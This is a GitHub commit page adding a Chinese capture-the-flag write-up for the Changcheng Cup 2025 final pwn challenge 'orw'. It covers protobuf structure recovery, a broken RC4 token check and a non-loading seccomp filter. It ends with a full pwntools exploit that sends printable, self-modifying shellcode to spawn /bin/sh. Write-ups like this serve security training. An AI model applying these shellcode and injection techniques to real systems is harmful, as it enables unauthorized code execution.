Skip to content

Commit aedfeb7

Browse files
committed
new(ciscnxccb2025): add ccb final writeup
1 parent 169f105 commit aedfeb7

5 files changed

Lines changed: 181 additions & 0 deletions

File tree

Lines changed: 181 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,181 @@
1+
---
2+
title: 长城杯 2025 决赛 - orw
3+
date: 2025/08/03 17:48:00
4+
updated: 2025/08/03 17:48:00
5+
tags:
6+
- protobuf
7+
- shellcode
8+
- tricks
9+
thumbnail: /assets/ciscnxccb2025/pbpt.png
10+
excerpt: 利用 **protobuf-pwn-tool** 还原结构体,分析错误RC4实现与无效seccomp,构造可打印shellcode绕过检查获取shell。
11+
---
12+
13+
> 只要你做出来了,你就能拿到这个数,拿不到的话我来给你补
14+
15+
## 文件属性
16+
17+
|属性 ||
18+
|------|------|
19+
|Arch |amd64 |
20+
|RELRO |Full |
21+
|Canary|on |
22+
|NX |on |
23+
|PIE |on |
24+
|strip |yes |
25+
26+
## seccomp rules
27+
28+
有沙箱,但是无法加载,等效于无沙箱
29+
30+
<img src="/assets/ciscnxccb2025/broken_seccomp.png" width="60%">
31+
32+
## 解题思路
33+
34+
### 吃一堑吃一堑
35+
36+
早在半决赛的时候,就有过protobuf的题,那个时候不会做,等到我看到了能提取proto的工具,
37+
我也只是想到需要学一下,结果没想到决赛又考了,而我工具还没下,这下输麻了。
38+
39+
那么现在就来介绍一下北邮✌️写的[这个工具](https://github.com/Rea1Atomic/protobuf-pwn-tool)
40+
41+
<img src="/assets/ciscnxccb2025/pbpt.png" width="50%">
42+
43+
使用一行命令,这个小工具可以直接将elf里保存的proto导出到文件,
44+
接下来就可以使用protoc工具生成`.h``.c`文件,随便写一个空壳文件并include头文件,
45+
然后写一个空的`main`函数,最后`-g`两个文件一起编译,就可以将文件拖入Ghidra中,复制出结构体定义了。
46+
47+
```sh
48+
protoc --c_out=. ez_orw.proto
49+
cat << EOF > c.c
50+
#include "ez_orw.pb-c.h"
51+
int main() {}
52+
EOF
53+
gcc -g c.c ez_orw.pb-c.c
54+
protoc --python_out=. ez_orw.proto
55+
```
56+
57+
最后还原效果如下图所示
58+
59+
![reverse](/assets/ciscnxccb2025/reverse.png)
60+
61+
最后在脚本中`import ez_orw_pb2`就可以用了。
62+
63+
### RC4加密,对吗?
64+
65+
在运行shellcode前,需要对`giaotoken`做检查,阅读其中的两个函数,
66+
不难发现是RC4加密,但是如果直接用RC4解密,会发现,得到的明文中有00字符,
67+
并且有一些都不是可见字符。仔细检查解密过程,没有错误,难道是他写的RC4实现有问题?
68+
69+
```python
70+
from Crypto.Cipher import ARC4
71+
ciphertext = bytes.fromhex('''
72+
6a 36 af a6 7b a8 5f b9 63 7d 83 c7 0c 1c 8d 91
73+
d3 f2 6e 6b b3 f9 77 f8 bf e2 88 e8 fc ec fd 8e
74+
fd 92 fe 40
75+
''')
76+
key = b'114514giaogiaogiao99'
77+
cipher = ARC4.new(key)
78+
print(cipher.decrypt(ciphertext))
79+
# b'\t\x06PQ\x06\x0c\x02XLVW[TBS\rTX\x14\x00c2e-418608b3bbea'
80+
```
81+
82+
后半部分看起来是正常的,前半部分不太对。尝试将其作为token输入,得到的结果并不正确。
83+
突然我想到RC4的加解密是对称的,只要用gdb修改token为密文,然后让程序运行加密函数,
84+
就可以从内存中拿到明文。正确结果是一个UUID字符串。也就是说,这道题的RC4实现也有问题。
85+
86+
### 坏掉的seccomp
87+
88+
在检查完token后,还要对`giaoid``giaosize`以及输入的shellcode做检查,
89+
shellcode必须是可打印字符。还要检查输入的shellcode长度和protobuf长度,
90+
最后应用一个沙箱后执行shellcode。
91+
92+
为了在不输入protobuf的情况下运行沙箱,我选择了用gdb修改rip,让程序直接运行到`prctl`的地方,
93+
好不容易把filter拿出来了,让`seccomp-tools`解析一下,却发现goto跳转的目标行号,
94+
是要比filter的长度长的。这么显然的错误内核自然不会放过,因此沙箱并没有成功加上,
95+
系统调用失败了。后面我们可以直接`execve`拿shell。
96+
97+
### 连起来
98+
99+
最后,设置一下shellcode的最大长度,满足一下各种条件,再写个shellcode就可得到如下脚本。
100+
101+
{% note red fa-fire %}
102+
妥妥的烂题,沙箱不会写,RC4不会实现,整道题充斥着烂梗,能出这种题目的家里请什么都没用了。
103+
{% endnote %}
104+
105+
## EXPLOIT
106+
107+
```python
108+
from pwn import *
109+
import string
110+
import ez_orw_pb2
111+
context.terminal = ['tmux', 'splitw', '-h']
112+
context.arch = 'amd64'
113+
def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m'
114+
EXE = './ez_orw'
115+
printable = bytes(string.printable, 'utf-8')
116+
117+
def payload(lo: int):
118+
global t
119+
if lo:
120+
t = process(EXE)
121+
if lo & 2:
122+
gdb.attach(t)
123+
else:
124+
t = remote('', 9999)
125+
126+
# run until protobuf msg input
127+
t.sendlineafter(b'DO U', b'0x0')
128+
t.sendlineafter(b'replenish\n', b'64') # set up shellcode max length
129+
pie_base = int(t.recv(14), 16) - 0x5008
130+
success(GOLD_TEXT(f'Got pie_base: {pie_base:#x}'))
131+
t.sendline(hex(pie_base + 0x3041).encode())
132+
133+
code = '''
134+
// mov rbx, rax # rax == shellcode
135+
push rax
136+
pop rbx
137+
// xor esi, esi; xor edx, edx
138+
push 0x20
139+
pop rax
140+
xor al, 0x20
141+
push rax
142+
push rax
143+
push rax
144+
pop rsi
145+
pop rdx
146+
// 2f2f -> 0f05
147+
push 0x20202020
148+
pop rcx
149+
xor word ptr [rbx + 0x20], cx
150+
// lea rdi, "/bin/sh"
151+
xor rax, qword ptr [rbx + 0x22]
152+
push rax
153+
push rsp
154+
pop rdi
155+
// mov eax, SYS_execve
156+
push 0x3b
157+
pop rax
158+
// syscall
159+
'''
160+
shellcode = asm(code) + b'\x2f\x25/bin/sh'
161+
assert len(shellcode) == 0x20 + 9 and all(byte in printable for byte in shellcode)
162+
message = ez_orw_pb2.Msgiao()
163+
message.giaoid = 0x114514
164+
message.giaosize = 0x415411
165+
message.giaotoken = b'87dd78e1-9025-4d57-9c2e-418608b3bbea'
166+
message.giaocontent = shellcode
167+
success(f'Sending shellcode {shellcode}')
168+
t.sendafter(b'your giao', message.SerializeToString())
169+
170+
t.clean()
171+
t.interactive()
172+
t.close()
173+
```
174+
175+
{% note default fa-bolt %}
176+
![shell](/assets/ciscnxccb2025/local_shell.png)
177+
{% endnote %}
178+
179+
## 参考
180+
181+
1. [Rea1Atomic/protobuf-pwn-tool](https://github.com/Rea1Atomic/protobuf-pwn-tool)
89.9 KB
Loading
72.8 KB
Loading
110 KB
Loading
48.5 KB
Loading

0 commit comments

Comments
 (0)